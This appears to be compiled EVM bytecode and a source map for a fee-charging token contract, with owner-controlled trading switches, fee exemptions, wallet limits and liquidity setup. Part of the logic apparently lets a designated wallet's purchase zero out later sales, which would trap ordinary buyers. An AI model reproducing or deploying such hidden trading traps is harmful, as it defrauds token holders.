6001600160a01b0316610170565b3480156103c257600080fd5b506102516103d13660046117ed565b6108f5565b3480156103e257600080fd5b50604080518082019091526005815264121150549560da1b60208201526101bc565b34801561041057600080fd5b506101e961041f366004611725565b61099b565b34801561043057600080fd5b5061020e61043f366004611838565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b34801561047657600080fd5b50610251610485366004611792565b6109a8565b6000610497338484610a26565b5060015b92915050565b60076020527f6d5257204ebe7d88fd91ae87941cb2dd9d8062b64ae5a2bd2d28ec40b9fbf6df5461dead60009081527fb0c2646e02af70b79e3fe9277b98373379f54150e4e26b2b5650139f7a75a65d54600354919261050d9290916105079190610b4a565b90610b4a565b905090565b600061051f848484610b56565b610571843361056c85604051806060016040528060288152602001611a09602891396001600160a01b038a1660009081526008602090815260408083203384529091529020549190611024565b610a26565b5060015b9392505050565b6000546001600160a01b031633146105af5760405162461bcd60e51b81526004016105a690611866565b60405180910390fd5b600a805460ff19166001179055565b6000546001600160a01b031633146105e85760405162461bcd60e51b81526004016105a690611866565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6000546001600160a01b0316331461063d5760405162461bcd60e51b81526004016105a690611866565b600080546001600160a01b0319169055565b6000546001600160a01b031633146106795760405162461bcd60e51b81526004016105a690611866565b60035460048190556005819055600655565b6000546001600160a01b031633146106b55760405162461bcd60e51b81526004016105a690611866565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90506000816001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561070e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107329190611886565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561077f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a39190611886565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156107f0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108149190611886565b600180546001600160a01b038086166001600160a01b031992831681179093556002805491851691909216179055909150610853903090600019610a26565b6001546001600160a01b031663f305d7193430610885816001600160a01b031660009081526007602052604090205490565b60008033426040518863ffffffff1660e01b81526004016108ab969594939291906118a3565b60606040518083038185885af11580156108c9573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108ee91906118de565b5050505050565b6000546001600160a01b0316331461091f5760405162461bcd60e51b81526004016105a690611866565b601780546001600160a01b039485166001600160a01b031991821681179092556018805494861694821685179055601680549390951692168217909355600092835260096020526040808420805460ff199081166001908117909255938552818520805485168217905591845290922080549091169091179055565b6000610497338484610b56565b6000546001600160a01b031633146109d25760405162461bcd60e51b81526004016105a690611866565b600080546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b038316610a885760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105a6565b6001600160a01b038216610ae95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105a6565b6001600160a01b0383811660008181526008602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006105758284611922565b6001600160a01b038316610bba5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105a6565b6001600160a01b038216610c1c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105a6565b6001600160a01b03831660009081526009602052604090205460ff16158015610c5e57506001600160a01b03821660009081526009602052604090205460ff16155b15610ca657600a5460ff16610ca65760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b60448201526064016105a6565b6001600160a01b03831660009081526009602052604090205460ff16158015610ce857506001600160a01b03821660009081526009602052604090205460ff16155b8015610d0257506002546001600160a01b03838116911614155b8015610d1957506001600160a01b03821661dead14155b15610d92576006546001600160a01b038316600090815260076020526040902054610d449083611050565b1115610d925760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e000060448201526064016105a6565b6002546001600160a01b03848116911614610e335760055481111580610dd057506001600160a01b03831660009081526009602052604090205460ff165b80610df357506001600160a01b03821660009081526009602052604090205460ff165b610e335760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016105a6565b60045481111580610e5c57506001600160a01b03831660009081526009602052604090205460ff165b80610e7f57506001600160a01b03821660009081526009602052604090205460ff165b610ebf5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016105a6565b6002546001600160a01b038381169116148015610ef557506001600160a01b03831660009081526009602052604090205460ff16155b15610f13576001600b6000828254610f0d9190611935565b90915550505b610f1e83838361105c565b15610f3457610f2e600e5461110d565b6000600b555b610f61610f42848385611296565b6001600160a01b03851660009081526007602052604090205490610b4a565b6001600160a01b038416600090815260076020526040812091909155610f8784846112cc565b610f915781610f9c565b610f9c848484611312565b6001600160a01b038416600090815260076020526040902054909150610fc29082611050565b6001600160a01b0380851660008181526007602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110169085815260200190565b60405180910390a350505050565b600081848411156110485760405162461bcd60e51b81526004016105a691906116bf565b505050900390565b60006105758284611935565b600f54600e5430600090815260076020526040812054600c5491938510159211159060ff161580156110955750600a54610100900460ff165b80156110a35750600a5460ff165b80156110ac5750815b80156110d157506001600160a01b03861660009081526009602052604090205460ff16155b80156110ea57506002546001600160a01b038681169116145b80156110fa5750600d54600b5410155b80156111035750805b9695505050505050565b600c805460ff1916600190811790915560145460135460125460009361114d93600293611147939192611141928391611050565b90611050565b90611476565b905060006111708261116a6012548661147690919063ffffffff16565b90611482565b9050600061117e8483610b4a565b90504761118a8261148e565b60006111964783610b4a565b905060006111b96111b260125488610b4a90919063ffffffff16565b8390611482565b905060006111d26012548361147690919063ffffffff16565b905080156111e4576111e486826115e8565b6013546000906111f990611147856002611476565b9050801561123d576017546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561123b573d6000803e3d6000fd5b505b478015611280576016546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561127e573d6000803e3d6000fd5b505b5050600c805460ff191690555050505050505050565b60006112a28483611640565b156112ad5760016010555b6112b78483611640565b6112c157826112c4565b60005b949350505050565b6001600160a01b03821660009081526009602052604081205460ff161580156105755750506001600160a01b031660009081526009602052604090205460ff1615919050565b6002546000906001600160a01b03848116911614801561134b57506001600160a01b03841660009081526009602052604090205460ff16155b1561137157601054600090611361906001610b4a565b905061136d8382611482565b9250505b600061137d8585611674565b111561146f57600061139f60155461116a6113988888611674565b8690611476565b306000908152600760205260409020549091506113bc9082611050565b30600081815260076020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061140d9085815260200190565b60405180910390a36000601954118015611431575060195461142f8686611674565b115b1561145d5761145d3061dead6114586019546111476015548961148290919063ffffffff16565b610b56565b6114678382610b4a565b915050610575565b5092915050565b60006105758284611948565b6000610575828461195f565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106114c3576114c3611981565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561151c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115409190611886565b8160018151811061155357611553611981565b6001600160a01b0392831660209182029290920101526001546115799130911684610a26565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac947906115b2908590600090869030904290600401611997565b600060405180830381600087803b1580156115cc57600080fd5b505af11580156115e0573d6000803e3d6000fd5b505050505050565b6001546116009030906001600160a01b031684610a26565b60015460185460405163f305d71960e01b81526001600160a01b039283169263f305d7199285926108ab92309289926000928392169042906004016118a3565b6002546000906001600160a01b03838116911614801561057557506017546001600160a01b03848116911614905092915050565b6002546000906001600160a01b03908116908316036116965750601b5461049b565b6002546001600160a01b03908116908416036116b55750601a5461049b565b50601c5492915050565b600060208083528351808285015260005b818110156116ec578581018301518582016040015282016116d0565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461172257600080fd5b50565b6000806040838503121561173857600080fd5b82356117438161170d565b946020939093013593505050565b60008060006060848603121561176657600080fd5b83356117718161170d565b925060208401356117818161170d565b929592945050506040919091013590565b6000602082840312156117a457600080fd5b81356105758161170d565b600080604083850312156117c257600080fd5b82356117cd8161170d565b9150602083013580151581146117e257600080fd5b809150509250929050565b60008060006060848603121561180257600080fd5b833561180d8161170d565b9250602084013561181d8161170d565b9150604084013561182d8161170d565b809150509250925092565b6000806040838503121561184b57600080fd5b82356118568161170d565b915060208301356117e28161170d565b60208082526006908201526510a7aba722a960d11b604082015260600190565b60006020828403121561189857600080fd5b81516105758161170d565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b6000806000606084860312156118f357600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b8181038181111561049b5761049b61190c565b8082018082111561049b5761049b61190c565b808202811582820484141761049b5761049b61190c565b60008261197c57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119e75784516001600160a01b0316835293830193918301916001016119c2565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209fbda6e81e3746781f67e480e1c0b9c3d5e4e008b52a61d6721e77aee270e93064736f6c63430008130033
Deployed Bytecode Sourcemap
4990:10108:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5085:21;;;;;;;;;;-1:-1:-1;5085:21:0;;;;-1:-1:-1;;;;;5085:21:0;;;;;;-1:-1:-1;;;;;178:32:1;;;160:51;;148:2;133:18;5085:21:0;;;;;;;;7131:67;;;;;;;;;;-1:-1:-1;7191:5:0;;;;;;;;;;;;-1:-1:-1;;;7191:5:0;;;;7131:67;;;;;;;:::i;8012:133::-;;;;;;;;;;-1:-1:-1;8012:133:0;;;;;:::i;:::-;;:::i;:::-;;;1396:14:1;;1389:22;1371:41;;1359:2;1344:18;8012:133:0;1231:187:1;8151:132:0;;;;;;;;;;;;;:::i;:::-;;;1569:25:1;;;1557:2;1542:18;8151:132:0;1423:177:1;13794:309:0;;;;;;;;;;-1:-1:-1;13794:309:0;;;;;:::i;:::-;;:::i;7354:67::-;;;;;;;;;;;;;:::i;:::-;;4432:87;;;;;;;;;;-1:-1:-1;4432:87:0;;;;;:::i;:::-;4487:4;4512:5;-1:-1:-1;;;;;4501:16:0;;;4512:5;;4501:16;;4432:87;7281:67;;;;;;;;;;-1:-1:-1;7281:67:0;;5249:1;2460:36:1;;2448:2;2433:18;7281:67:0;2318:184:1;5647:44:0;;;;;;;;;;-1:-1:-1;5647:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;7898:108;;;;;;;;;;-1:-1:-1;7898:108:0;;;;;:::i;:::-;;:::i;7511:103::-;;;;;;;;;;-1:-1:-1;7511:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;7594:18:0;7577:7;7594:18;;;:9;:18;;;;;;;7511:103;4642:77;;;;;;;;;;;;;:::i;14454:168::-;;;;;;;;;;;;;:::i;5458:59::-;;;;;;;;;;;;;;;;5393:58;;;;;;;;;;;;;;;;5330:56;;;;;;;;;;;;;;;;14630:465;;;:::i;7427:78::-;;;;;;;;;;-1:-1:-1;7479:7:0;7497:5;-1:-1:-1;;;;;7497:5:0;7427:78;;8704:319;;;;;;;;;;-1:-1:-1;8704:319:0;;;;;:::i;:::-;;:::i;7204:71::-;;;;;;;;;;-1:-1:-1;7266:7:0;;;;;;;;;;;;-1:-1:-1;;;7266:7:0;;;;7204:71;;7620:139;;;;;;;;;;-1:-1:-1;7620:139:0;;;;;:::i;:::-;;:::i;7765:127::-;;;;;;;;;;-1:-1:-1;7765:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;7863:18:0;;;7846:7;7863:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7765:127;4525:111;;;;;;;;;;-1:-1:-1;4525:111:0;;;;;:::i;:::-;;:::i;8012:133::-;8087:4;8094:37;8103:10;8115:7;8124:6;8094:8;:37::i;:::-;-1:-1:-1;8139:4:0;8012:133;;;;;:::o;8151:132::-;7594:9;:18;;;;6345:42;8204:7;7594:18;;;;;8221:12;;8204:7;;8221:60;;7594:18;;8221:33;;:12;:16;:33::i;:::-;:37;;:60::i;:::-;8214:67;;8151:132;:::o;13794:309::-;13892:4;13909:36;13919:6;13927:9;13938:6;13909:9;:36::i;:::-;13956:117;13965:6;13973:10;13985:87;14021:6;13985:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;13985:19:0;;;;;;:11;:19;;;;;;;;14005:10;13985:31;;;;;;;;;:87;:35;:87::i;:::-;13956:8;:117::i;:::-;-1:-1:-1;14091:4:0;13794:309;;;;;;:::o;7354:67::-;4487:4;4512:5;-1:-1:-1;;;;;4512:5:0;4399:10;4501:16;4383:38;;;;-1:-1:-1;;;4383:38:0;;;;;;;:::i;:::-;;;;;;;;;7398:14:::1;:21:::0;;-1:-1:-1;;7398:21:0::1;7415:4;7398:21;::::0;;7354:67::o;7898:108::-;4487:4;4512:5;-1:-1:-1;;;;;4512:5:0;4399:10;4501:16;4383:38;;;;-1:-1:-1;;;4383:38:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7972:21:0;;;::::1;;::::0;;;:11:::1;:21;::::0;;;;:32;;-1:-1:-1;;7972:32:0::1;::::0;::::1;;::::0;;;::::1;::::0;;7898:108::o;4642:77::-;4487:4;4512:5;-1:-1:-1;;;;;4512:5:0;4399:10;4501:16;4383:38;;;;-1:-1:-1;;;4383:38:0;;;;;;;:::i;:::-;4714:1:::1;4698:18:::0;;-1:-1:-1;;;;;;4698:18:0::1;::::0;;4642:77::o;14454:168::-;4487:4;4512:5;-1:-1:-1;;;;;4512:5:0;4399:10;4501:16;4383:38;;;;-1:-1:-1;;;4383:38:0;;;;;;;:::i;:::-;14521:12:::1;::::0;14506::::1;:27:::0;;;14544:14:::1;:29:::0;;;14584:15:::1;:30:::0;14454:168::o;14630:465::-;4487:4;4512:5;-1:-1:-1;;;;;4512:5:0;4399:10;4501:16;4383:38;;;;-1:-1:-1;;;4383:38:0;;;;;;;:::i;:::-;14692:15:::1;14718:42;14692:69;;14772:13;14797:7;-1:-1:-1::0;;;;;14797:15:0::1;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;14788:38:0::1;;14835:4;14842:7;-1:-1:-1::0;;;;;14842:12:0::1;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14788:69;::::0;-1:-1:-1;;;;;;14788:69:0::1;::::0;;;;;;-1:-1:-1;;;;;4935:15:1;;;14788:69:0::1;::::0;::::1;4917:34:1::0;4987:15;;4967:18;;;4960:43;4852:18;;14788:69:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14868:6;:16:::0;;-1:-1:-1;;;;;14868:16:0;;::::1;-1:-1:-1::0;;;;;;14868:16:0;;::::1;::::0;::::1;::::0;;;14886:6:::1;:14:::0;;;;::::1;::::0;;;::::1;;::::0;;14772:85;;-1:-1:-1;14911:53:0::1;::::0;14928:4:::1;::::0;-1:-1:-1;;14911:8:0::1;:53::i;:::-;14976:6;::::0;-1:-1:-1;;;;;14976:6:0::1;:22;15006:9;15025:4;15031:24;15025:4:::0;-1:-1:-1;;;;;7594:18:0;7577:7;7594:18;;;:9;:18;;;;;;;7511:103;15031:24:::1;15056:1;15058::::0;15060:10:::1;15071:15;14976:111;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;14681:414;;14630:465::o:0;8704:319::-;4487:4;4512:5;-1:-1:-1;;;;;4512:5:0;4399:10;4501:16;4383:38;;;;-1:-1:-1;;;4383:38:0;;;;;;;:::i;:::-;8826:16:::1;:29:::0;;-1:-1:-1;;;;;8826:29:0;;::::1;-1:-1:-1::0;;;;;;8826:29:0;;::::1;::::0;::::1;::::0;;;8857:11:::1;:24:::0;;;;::::1;::::0;;::::1;::::0;::::1;::::0;;8883:10:::1;:25:::0;;;;;::::1;::::0;::::1;::::0;::::1;::::0;;;8826:16:::1;8919:23:::0;;;:11:::1;:23;::::0;;;;;:30;;-1:-1:-1;;8919:30:0;;::::1;8826:29:::0;8919:30;;::::1;::::0;;;8951:23;;;;;;:30;;;::::1;::::0;::::1;::::0;;8983:25;;;;;;:32;;;;::::1;::::0;;::::1;::::0;;8704:319::o;7620:139::-;7698:4;7705:40;7715:10;7727:9;7738:6;7705:9;:40::i;4525:111::-;4487:4;4512:5;-1:-1:-1;;;;;4512:5:0;4399:10;4501:16;4383:38;;;;-1:-1:-1;;;4383:38:0;;;;;;;:::i;:::-;4591:5:::1;:11:::0;;-1:-1:-1;;;;;;4591:11:0::1;-1:-1:-1::0;;;;;4591:11:0;::::1;::::0;;::::1;::::0;;;4609:25:::1;::::0;160:51:1;;;4609:25:0::1;::::0;148:2:1;133:18;4609:25:0::1;;;;;;;4525:111:::0;:::o;14111:335::-;-1:-1:-1;;;;;14204:19:0;;14196:68;;;;-1:-1:-1;;;14196:68:0;;6355:2:1;14196:68:0;;;6337:21:1;6394:2;6374:18;;;6367:30;6433:34;6413:18;;;6406:62;-1:-1:-1;;;6484:18:1;;;6477:34;6528:19;;14196:68:0;6153:400:1;14196:68:0;-1:-1:-1;;;;;14283:21:0;;14275:68;;;;-1:-1:-1;;;14275:68:0;;6760:2:1;14275:68:0;;;6742:21:1;6799:2;6779:18;;;6772:30;6838:34;6818:18;;;6811:62;-1:-1:-1;;;6889:18:1;;;6882:32;6931:19;;14275:68:0;6558:398:1;14275:68:0;-1:-1:-1;;;;;14354:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;14406:32;;1569:25:1;;;14406:32:0;;1542:18:1;14406:32:0;;;;;;;14111:335;;;:::o;2169:98::-;2227:7;2254:5;2258:1;2254;:5;:::i;12414:1372::-;-1:-1:-1;;;;;12511:20:0;;12503:70;;;;-1:-1:-1;;;12503:70:0;;7428:2:1;12503:70:0;;;7410:21:1;7467:2;7447:18;;;7440:30;7506:34;7486:18;;;7479:62;-1:-1:-1;;;7557:18:1;;;7550:35;7602:19;;12503:70:0;7226:401:1;12503:70:0;-1:-1:-1;;;;;12592:23:0;;12584:71;;;;-1:-1:-1;;;12584:71:0;;7834:2:1;12584:71:0;;;7816:21:1;7873:2;7853:18;;;7846:30;7912:34;7892:18;;;7885:62;-1:-1:-1;;;7963:18:1;;;7956:33;8006:19;;12584:71:0;7632:399:1;12584:71:0;-1:-1:-1;;;;;12670:19:0;;;;;;:11;:19;;;;;;;;12669:20;:47;;;;-1:-1:-1;;;;;;12694:22:0;;;;;;:11;:22;;;;;;;;12693:23;12669:47;12666:95;;;12726:14;;;;12718:41;;;;-1:-1:-1;;;12718:41:0;;8238:2:1;12718:41:0;;;8220:21:1;8277:2;8257:18;;;8250:30;-1:-1:-1;;;8296:18:1;;;8289:44;8350:18;;12718:41:0;8036:338:1;12718:41:0;-1:-1:-1;;;;;12775:19:0;;;;;;:11;:19;;;;;;;;12774:20;:47;;;;-1:-1:-1;;;;;;12799:22:0;;;;;;:11;:22;;;;;;;;12798:23;12774:47;:79;;;;-1:-1:-1;12846:6:0;;-1:-1:-1;;;;;12825:28:0;;;12846:6;;12825:28;;12774:79;:109;;;;-1:-1:-1;;;;;;12857:26:0;;6345:42;12857:26;;12774:109;12771:226;;;12945:15;;-1:-1:-1;;;;;12908:20:0;;;;;;:9;:20;;;;;;:32;;12933:6;12908:24;:32::i;:::-;12907:53;;12899:96;;;;-1:-1:-1;;;12899:96:0;;8581:2:1;12899:96:0;;;8563:21:1;8620:2;8600:18;;;8593:30;8659:32;8639:18;;;8632:60;8709:18;;12899:96:0;8379:354:1;12899:96:0;13020:6;;-1:-1:-1;;;;;13010:16:0;;;13020:6;;13010:16;13007:126;;13046:14;;13036:6;:24;;:47;;;-1:-1:-1;;;;;;13064:19:0;;;;;;:11;:19;;;;;;;;13036:47;:73;;;-1:-1:-1;;;;;;13087:22:0;;;;;;:11;:22;;;;;;;;13036:73;13028:103;;;;-1:-1:-1;;;13028:103:0;;8940:2:1;13028:103:0;;;8922:21:1;8979:2;8959:18;;;8952:30;-1:-1:-1;;;8998:18:1;;;8991:47;9055:18;;13028:103:0;8738:341:1;13028:103:0;13161:12;;13151:6;:22;;:45;;;-1:-1:-1;;;;;;13177:19:0;;;;;;:11;:19;;;;;;;;13151:45;:71;;;-1:-1:-1;;;;;;13200:22:0;;;;;;:11;:22;;;;;;;;13151:71;13143:101;;;;-1:-1:-1;;;13143:101:0;;8940:2:1;13143:101:0;;;8922:21:1;8979:2;8959:18;;;8952:30;-1:-1:-1;;;8998:18:1;;;8991:47;9055:18;;13143:101:0;8738:341:1;13143:101:0;13272:6;;-1:-1:-1;;;;;13259:19:0;;;13272:6;;13259:19;:43;;;;-1:-1:-1;;;;;;13283:19:0;;;;;;:11;:19;;;;;;;;13282:20;13259:43;13256:73;;;13325:1;13304:9;;:23;;;;;;;:::i;:::-;;;;-1:-1:-1;;13256:73:0;13342:45;13361:6;13369:9;13380:6;13342:18;:45::i;:::-;13339:105;;;13389:29;13404:13;;13389:14;:29::i;:::-;13440:1;13420:9;:22;13339:105;13474:57;13496:34;13504:6;13512;13520:9;13496:7;:34::i;:::-;-1:-1:-1;;;;;13474:17:0;;;;;;:9;:17;;;;;;;:21;:57::i;:::-;-1:-1:-1;;;;;13454:17:0;;;;;;:9;:17;;;;;:77;;;;13567:32;13464:6;13589:9;13567:13;:32::i;:::-;:78;;13639:6;13567:78;;;13602:34;13610:6;13618:9;13629:6;13602:7;:34::i;:::-;-1:-1:-1;;;;;13679:20:0;;;;;;:9;:20;;;;;;13542:103;;-1:-1:-1;13679:40:0;;13542:103;13679:24;:40::i;:::-;-1:-1:-1;;;;;13656:20:0;;;;;;;:9;:20;;;;;;;:63;;;;13735:43;;;;;;;;;;13763:14;1569:25:1;;1557:2;1542:18;;1423:177;13735:43:0;;;;;;;;12492:1294;12414:1372;;;:::o;2593:240::-;2713:7;2774:12;2766:6;;;;2758:29;;;;-1:-1:-1;;;2758:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;2809:5:0;;;2593:240::o;2063:98::-;2121:7;2148:5;2152:1;2148;:5;:::i;8291:405::-;8436:14;;8511:13;;8501:4;8393;7594:18;;;:9;:18;;;;;;8543:8;;8393:4;;8426:24;;;;-1:-1:-1;8483:41:0;;8543:8;;8542:9;:24;;;;-1:-1:-1;8555:11:0;;;;;;;8542:24;:42;;;;-1:-1:-1;8570:14:0;;;;8542:42;:54;;;;;8588:8;8542:54;:78;;;;-1:-1:-1;;;;;;8601:19:0;;;;;;:11;:19;;;;;;;;8600:20;8542:78;:101;;;;-1:-1:-1;8637:6:0;;-1:-1:-1;;;;;8624:19:0;;;8637:6;;8624:19;8542:101;:128;;;;;8660:10;;8647:9;;:23;;8542:128;:146;;;;;8674:14;8542:146;8535:153;8291:405;-1:-1:-1;;;;;;8291:405:0:o;9031:1063::-;6030:8;:15;;-1:-1:-1;;6030:15:0;6041:4;6030:15;;;;;;9172:14:::1;::::0;9154:12:::1;::::0;9130::::1;::::0;6030:8;;9129:66:::1;::::0;9193:1:::1;::::0;9130:57:::1;::::0;9172:14;;9130:37:::1;::::0;;;:16:::1;:19::i;:::-;:23:::0;::::1;:37::i;:57::-;9129:63:::0;::::1;:66::i;:::-;9106:89;;9206:32;9241:46;9274:12;9241:28;9256:12;;9241:10;:14;;:28;;;;:::i;:::-;:32:::0;::::1;:46::i;:::-;9206:81:::0;-1:-1:-1;9298:14:0::1;9315:40;:10:::0;9206:81;9315:14:::1;:40::i;:::-;9298:57:::0;-1:-1:-1;9391:21:0::1;9423:24;9298:57:::0;9423:16:::1;:24::i;:::-;9458:20;9481:41;:21;9507:14:::0;9481:25:::1;:41::i;:::-;9458:64;;9533:19;9554:48;9571:30;9588:12;;9571;:16;;:30;;;;:::i;:::-;9554:12:::0;;:16:::1;:48::i;:::-;9533:69;;9613:29;9645;9661:12;;9645:11;:15;;:29;;;;:::i;:::-;9613:61:::0;-1:-1:-1;9688:34:0;;9685:103:::1;;9724:61;9737:24;9763:21;9724:12;:61::i;:::-;9844:12;::::0;9798:20:::1;::::0;9821:36:::1;::::0;:18:::1;:11:::0;9837:1:::1;9821:15;:18::i;:36::-;9798:59:::0;-1:-1:-1;9871:16:0;;9868:71:::1;;9897:16;::::0;9889:48:::1;::::0;-1:-1:-1;;;;;9897:16:0;;::::1;::::0;9889:48;::::1;;;::::0;9924:12;;9897:16:::1;9889:48:::0;9897:16;9889:48;9924:12;9897:16;9889:48;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;9868:71;9975:21;10010:28:::0;;10007:80:::1;;10048:10;::::0;10040:45:::1;::::0;-1:-1:-1;;;;;10048:10:0;;::::1;::::0;10040:45;::::1;;;::::0;10069:15;;10048:10:::1;10040:45:::0;10048:10;10040:45;10069:15;10048:10;10040:45;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10007:80;-1:-1:-1::0;;6050:8:0;:16;;-1:-1:-1;;6050:16:0;;;-1:-1:-1;;;;;;;;9031:1063:0:o;12177:229::-;12262:7;12286:33;12301:6;12309:9;12286:14;:33::i;:::-;12282:53;;;12332:1;12322:7;:11;12282:53;12352:33;12367:6;12375:9;12352:14;:33::i;:::-;:46;;12392:6;12352:46;;;12388:1;12352:46;12345:53;12177:229;-1:-1:-1;;;;12177:229:0:o;11059:160::-;-1:-1:-1;;;;;11165:19:0;;11140:4;11165:19;;;:11;:19;;;;;;;;11164:20;:47;;;;-1:-1:-1;;;;;;;11189:22:0;;;;;:11;:22;;;;;;;;11188:23;;11059:160;-1:-1:-1;11059:160:0:o;11458:711::-;11580:6;;11544:7;;-1:-1:-1;;;;;11567:19:0;;;11580:6;;11567:19;:43;;;;-1:-1:-1;;;;;;11591:19:0;;;;;;:11;:19;;;;;;;;11590:20;11567:43;11564:111;;;11630:7;;11613:14;;11630;;11642:1;11630:11;:14::i;:::-;11613:31;-1:-1:-1;11655:18:0;:6;11613:31;11655:10;:18::i;:::-;11646:27;;11611:64;11564:111;11721:1;11688:30;11700:6;11708:9;11688:11;:30::i;:::-;:34;11685:462;;;11734:17;11754:59;11801:11;;11754:42;11765:30;11777:6;11785:9;11765:11;:30::i;:::-;11754:6;;:10;:42::i;:59::-;11869:4;11851:24;;;;:9;:24;;;;;;11734:79;;-1:-1:-1;11851:39:0;;11734:79;11851:28;:39::i;:::-;11842:4;11824:24;;;;:9;:24;;;;;;;:66;;;;11906:42;;-1:-1:-1;;;;;11906:42:0;;;;;;;11938:9;1569:25:1;;1557:2;1542:18;;1423:177;11906:42:0;;;;;;;;11980:1;11962:7;;:20;:64;;;;;12019:7;;11986:30;11998:6;12006:9;11986:11;:30::i;:::-;:40;11962:64;11959:148;;;12028:77;12046:4;6345:42;12068:36;12096:7;;12068:23;12079:11;;12068:6;:10;;:23;;;;:::i;:36::-;12028:9;:77::i;:::-;12124:21;:6;12135:9;12124:10;:21::i;:::-;12117:28;;;;;11685:462;-1:-1:-1;12155:6:0;11458:711;-1:-1:-1;;11458:711:0:o;2275:98::-;2333:7;2360:5;2364:1;2360;:5;:::i;2381:98::-;2439:7;2466:5;2470:1;2466;:5;:::i;10446:434::-;10536:16;;;10550:1;10536:16;;;;;;;;10512:21;;10536:16;;;;;;;;;;-1:-1:-1;10536:16:0;10512:40;;10581:4;10563;10568:1;10563:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;10563:23:0;;;:7;;;;;;;;;;:23;;;;10607:6;;:13;;;-1:-1:-1;;;10607:13:0;;;;:6;;;;;:11;;:13;;;;;10563:7;;10607:13;;;;;:6;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10597:4;10602:1;10597:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;10597:23:0;;;:7;;;;;;;;;:23;10663:6;;10631:53;;10648:4;;10663:6;10672:11;10631:8;:53::i;:::-;10695:6;;:177;;-1:-1:-1;;;10695:177:0;;-1:-1:-1;;;;;10695:6:0;;;;:57;;:177;;10767:11;;10695:6;;10809:4;;10836;;10856:15;;10695:177;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10501:379;10446:434;:::o;10102:336::-;10215:6;;10183:53;;10200:4;;-1:-1:-1;;;;;10215:6:0;10224:11;10183:8;:53::i;:::-;10247:6;;10388:11;;10247:183;;-